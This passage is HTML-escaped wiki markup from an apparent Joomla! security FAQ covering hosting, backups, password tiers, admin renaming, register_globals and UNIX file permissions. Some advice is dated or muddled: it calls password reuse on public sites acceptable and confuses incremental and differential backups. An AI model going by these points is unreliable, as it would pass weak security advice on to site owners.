| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Consider recommendations:&#039;&#039;&#039; Check this [http://forum.joomla.org/index.php/topic,6856.0.html list of recommended hosts].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http://joomlacode.org/gf/project/jts/&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
